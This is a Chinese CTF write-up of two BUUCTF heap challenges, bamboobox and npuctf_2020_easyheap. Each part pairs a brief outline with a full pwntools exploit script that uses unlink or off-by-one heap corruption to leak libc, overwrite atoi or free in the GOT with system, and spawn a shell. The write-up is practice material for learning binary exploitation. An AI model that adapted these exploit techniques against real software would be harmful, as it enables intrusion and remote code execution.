buuctf——bamboobox(unlink)

利用思路

  • 伪造一个空闲 chunk。
  • 通过 unlink 把 chunk 移到存储 chunk 指针的内存处。
  • 覆盖 chunk 0 指针为 atoi 的 got 表地址并泄露。
  • 覆盖 atoi 的 got 表为 system 函数地址。
  • 给出参数 ‘sh’,调用 atoi 函数拿 shell。

exp:

#coding=utf-8
from pwn import *
from LibcSearcher import*
context.log_level='debug'

if args['REMOTE']:
r = remote('node3.buuoj.cn',25306)
elf=ELF('./bamboobox')
libc=ELF('/home/duxiansheng/pwn/libc/libc-2.23.so')
else:
r = process("./bamboobox")
elf=ELF('./bamboobox')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')


def add(length,name):
r.recvuntil(":")
r.sendline('2')
r.recvuntil(':')
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)

def edit(idx,length,name):
r.recvuntil(':')
r.sendline('3')
r.recvuntil(":")

r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(':')
r.sendline(name)

def remove(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))

def show():
r.recvuntil(":")
r.sendline("1")


def main():
add(0x40,'a' * 8) #0
add(0x80,'b' * 8) #1
add(0x80,'c' * 8) #2
# gdb.attach(r)
ptr = 0x6020c8

fake_chunk = p64(0)
fake_chunk += p64(0x41)
fake_chunk += p64(ptr-0x18)
fake_chunk += p64(ptr-0x10)
fake_chunk += 'c'*0x20
fake_chunk += p64(0x40)
fake_chunk += p64(0x90)
edit(0,0x80,fake_chunk)
#首先在 chunk 0 构造一个 fake chunk ,并把指针分别置为 ptr-0x18 和 ptr-0x10 ,同时把 chunk 1 的 prev_size 给上 fak chunk 的大小,把 size 的 inuse 位置 0 ,这样在 free chunk 1 的时候,程序会误以为 fake chunk 为空闲的,从而触发 unlink 操作,将 ptr 指针置为 ptr - 0x18。
#gdb.attach(r)

remove(1)
payload = p64(0) * 2
payload += p64(0x40) + p64(0x602068)
edit(0,0x80,payload)
#free 掉chunk 1 后,改写 chunk 0 的内容为 atoi 的 got 表地址。
show()
# gdb.attach(r)

r.recvuntil("0 : ")
atoi_addr = u64(r.recvuntil(":")[:6].ljust(8,'\x00'))
success('atoi_addr: ' + hex(atoi_addr))
libcbase = atoi_addr - libc.symbols['atoi']
success("libc:" + hex(libcbase))
system_addr = libcbase + libc.symbols['system']
success('system:' + hex(system_addr))
#泄露 atoi 函数的地址,并计算 system 函数的地址。
edit(0,0x8,p64(system_addr))
#gdb.attach(r)

r.recvuntil(":")
r.sendline("sh")
#将 atoi 的 got 表地址改为 system 地址,这样在主函数调用 atoi 函数时输入 sh ,就相当于执行 system('sh') 可以成功拿 shell 。
r.interactive()

if __name__ == '__main__':
main()

npuctf_2020_easyheap(off_by_one)

利用思路

  1. 通过 off by one 漏洞,修改下一个 chunk 的 size 为 0x41 大小,这样 free 之后就能造成堆块重叠。
  2. 通过堆块重叠,修改记录 size 与 chunk_addr 的 chunk 中的 chunk_addr 为 free函数的 got 表地址,然后通过show打印泄露libc
  3. 获取libc后就能计算出system的地址,再次通过off-by-one修改free@got为 system 的地址,当主函数再次执行delete(chunk2)的时候,结合 “/bin/sh” 参数,实现 system(’/bin/sh’) 获取shell

参考:

https://blog.csdn.net/mcmuyanga/article/details/112851757

exp:

#coding=utf-8
from pwn import *
from LibcSearcher import*
context.log_level='debug'

if args['REMOTE']:
p = remote('node3.buuoj.cn',28454)
elf=ELF('./npuctf_2020_easyheap')
libc=ELF('./libc-2.27.so')
else:
p = process("./npuctf_2020_easyheap")
elf=ELF('./npuctf_2020_easyheap')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')


def add(size,content):
p.sendlineafter('Your choice :',str(1))
p.sendlineafter('Size of Heap(0x10 or 0x20 only) : ',str(size))
p.sendlineafter('Content:',content)

def edit(index,content):
p.sendlineafter('Your choice :',str(2))
p.sendlineafter('Index :',str(index))
p.recvuntil("Content: ")
p.send(content)

def show(idx):
p.sendlineafter('Your choice :',str(3))
p.sendlineafter('Index :',str(idx))

def delete(idx):
p.sendlineafter('Your choice :',str(4))
p.sendlineafter('Index :',str(idx))

def main():
add(0x18,'aaaa') #0
add(0x18,'bbbb') #1
add(0x18,'/bin/sh\x00') #2
# gdb.attach(p)
edit(0,'a'*0x18+'\x41') #1 利用off by one将chunk1 的大小写为0x41

delete(1) # 1

payload='a'*0x10+p64(0)+p64(0x21)+p64(0x100)+p64(elf.got['free'])
#写入free_got泄露libc地址
add(0x38,payload) # 1
#gdb.attach(p)
show(1) # 1

p.recvuntil('Content : ')
libcbase=u64(p.recvuntil('\x7f').ljust(8,'\x00'))-libc.symbols['free']
system_addr=libcbase+libc.symbols['system']
success('libcbase: ' + hex(libcbase))
success('system: ' + hex(system_addr))

edit(1,p64(system_addr)) # 将free地址覆盖为system地址,当执行free时即调用的是system函数
gdb.attach(p)
delete(2) # /bin/sh
p.interactive()

if __name__ == '__main__':
main()